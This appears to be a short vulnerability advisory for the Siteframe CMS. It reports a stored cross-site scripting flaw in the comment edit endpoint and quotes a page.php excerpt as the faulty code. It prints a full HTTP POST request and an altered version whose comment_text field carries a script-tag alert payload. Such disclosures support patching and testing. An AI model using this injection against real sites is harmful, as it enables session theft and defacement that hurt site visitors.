Bug:

Siteframe contains a flaw that allows a remote cross site scripting attack.
The vulnerability is found in the user comment page and the user can modify
the function GET and insert the XSS code

- http POST request

http://[target]/edit/Comment
POST /edit/Comment HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=Hi&_submitted=1

but we can modify the request POST in this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=<script>alert("lol");</script>&_submitte
d=1

---------------------------------------------------------

Example:

you can insert in the text post an XSS code or you can modify the request in this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&co
mment_subject=Kiki&comment_text=[XSS]&_submitted=1

---------------------------------------------------------

The bug is in this part of page.php

[...]
// get the comments
if ($p->get('allow_comments')) // are comments allowed?
{
// display comments
if (config('threaded_comments'))
$clist = $p->get_threaded_comments();
else
$clist = $p->get_comments();
$PAGE->assign('comments', $clist);
$PAGE->assign('num_comments', count($clist));

// now, create a comment form
$c = new Comment;
$c->set('comment_page_id', $p->id());
$PAGE->assign('comment_form', $c->form());
}
[...]
